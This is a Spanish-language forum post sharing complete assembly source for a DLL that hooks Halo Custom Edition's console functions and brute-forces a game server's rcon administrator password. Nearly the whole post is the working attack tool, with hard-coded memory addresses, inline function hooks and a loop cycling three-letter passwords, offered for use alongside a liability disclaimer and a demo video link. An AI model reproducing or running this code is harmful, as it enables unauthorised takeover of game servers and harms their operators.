Source Halo Rcon Force Brute.

Iniciado por fary, 6 Octubre 2012, 12:09 PM

0 Miembros y 1 Visitante están viendo este tema.

fary

Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.

Código (asm) [Seleccionar]
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012

; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com

; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.

format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
jne salir

mov eax,[EstadoConsola]
mov byte[eax],1 ; Emulamos que la consola esta desplegada.

push Bienvenida
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos mensage de bienvenida
add esp,0x8

push Autor
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos autor
add esp,0x8

mov eax,[EstadoConsola]
mov byte[eax],0

invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar

mov eax,[Procesar]

mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mProcesar     ; direccion
add eax,4
mov byte[eax],0xC3     ; ret

invoke Sleep,1

invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir

mov eax,[Imprimir]

mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mImprimir     ; direccion
add eax,4
mov byte[eax],0xC3     ; ret


invoke GetCurrentProcess
invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones

salir:
ret
endp

ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
sub esp,0x10 ; 6 primeros bytes de la función imprimir
push edi
mov edi,eax

mov eax,[Imprimir]

add eax,6 ; Saltamos a la función original
jmp eax

mImprimir:
mov ebp,esp
push ebp

mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.

.if eax = 0
   pop ebp
   ret
.endif

cmp [HackOn],0
je  NoFiltro

; Hay que poner bandera a 1
.if byte[eax] = 'A'
   .if byte[eax+2] = 'c'
pop ebp
jmp SeguimosBus
   .endif
.endif

.if byte[eax] = 'r'
   .if byte[eax+2] = 'o'
pop ebp
SeguimosBus:
.if [Bandera] <> 1
   call SaltoSinFlujo
.endif
ret
   .endif
.endif

.if byte[eax] = 's'
   .if byte[eax+3] = 'r'
pop ebp

mov [Bandera],1

mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola

push OkClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8

push ImprClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8

mov [HackOn],0

ret
   .endif
.endif

NoFiltro:

push eax
push string
xor eax,eax
call ImprimirVerdadero
add esp,0x8

pop ebp
ret

SaltoSinFlujo:

invoke TerminateThread,[HiloViejo],0
invoke CreateThread,0,0,DarFlujo,0,0,0
mov [HiloViejo],eax

ret

DarFlujo:

invoke Sleep,500

mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola

jmp BucleClaves3
ret

mProcesar:
.if byte[edi] = 'm'
   .if byte[edi+4] = 'y'
call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras

push Iniciando
push string
xor eax,eax
call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
add esp,8

invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!

mov [HackOn],1

ret
   .endif
.endif

call ProcesarVerdadero
ret

mFB:
mov edi,CadenaClave

mov [Letra1],64 ; Letra1 = Primer byte

BucleClaves:

inc [Letra1]

mov eax,CadenaClave
add eax,5

mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl

mov [Letra2],64   ; Letra2 = Segundo byte

BucleClaves2:

inc [Letra2]
mov eax,CadenaClave
add eax,6

mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl


mov [Letra3],64    ; Letra3 = Tercer Byte

BucleClaves3:
inc [Letra3]
mov eax,CadenaClave
add eax,7

mov bl,byte[Letra3]
mov byte[eax],bl
mov byte[ImprClave+2],bl

mov eax,[EstadoConsola]
mov byte[eax],1

push ImprClave
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
add esp,0x8

mov edi,CadenaClave
call ProcesarVerdadero ; Procesamos la intruccion

; por aqui no se pueden poner Sleep porque el programa se salta las rcon

.if [Letra3] >= 90
    mov [Letra3],65
    inc [Letra2]

    mov eax,CadenaClave
    add eax,6

    mov cl,byte[Letra2]
    mov byte[eax],cl
    mov byte[ImprClave+1],cl
.endif

.if [Letra2] >= 90
   mov [Letra2],65
   inc [Letra1]
   mov eax,CadenaClave
   add eax,5

   mov dl,byte[Letra1]
   mov byte[eax],dl
   mov byte[ImprClave],dl
.endif

ret


ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
sub esp,0x500
cmp al,0x3B

mov edx,[Procesar]

add edx,0xA ; Saltamos a la funcion procesar verdadera
jmp edx

section '.data' data readable writeable
Bienvenida      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
Autor      db '+ Programado por mDrinky.',0
CadenaClave      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
ImprClave      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
LimpiarConsola      db 'cls',0
OkClave      db 'La rcon del servidor es:',0
string      db '%s',0
Iniciando      db 'Iniciando Fuerza Bruta al servidor!',0

Letra1      dd ?
Letra2      dd ?
Letra3      dd ?
oPerm      dd ?
HiloViejo      dd ?
Bandera      dd ?
HackOn      dd ?

EstadoConsola      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
Procesar      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
CerrarConsola      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
Imprimir      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla

section '.idata' import data readable writeable
 library kernel,'KERNEL32.DLL',\
USER32,'USER32.DLL'

 import kernel,\
VirtualProtect,'VirtualProtect',\
CreateThread,'CreateThread',\
FlushInstructionCache,'FlushInstructionCache',\
GetCurrentProcess,'GetCurrentProcess',\
Sleep,'Sleep',\
TerminateThread,'TerminateThread'

 import USER32,\
MessageBoxA,'MessageBoxA'

section '.reloc' fixups data discardable


[youtube=425,350]http://www.youtube.com/watch?v=PaqGUNp_QV4[/youtube]

Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que  avise!.



un saludo.
Un byte a la izquierda.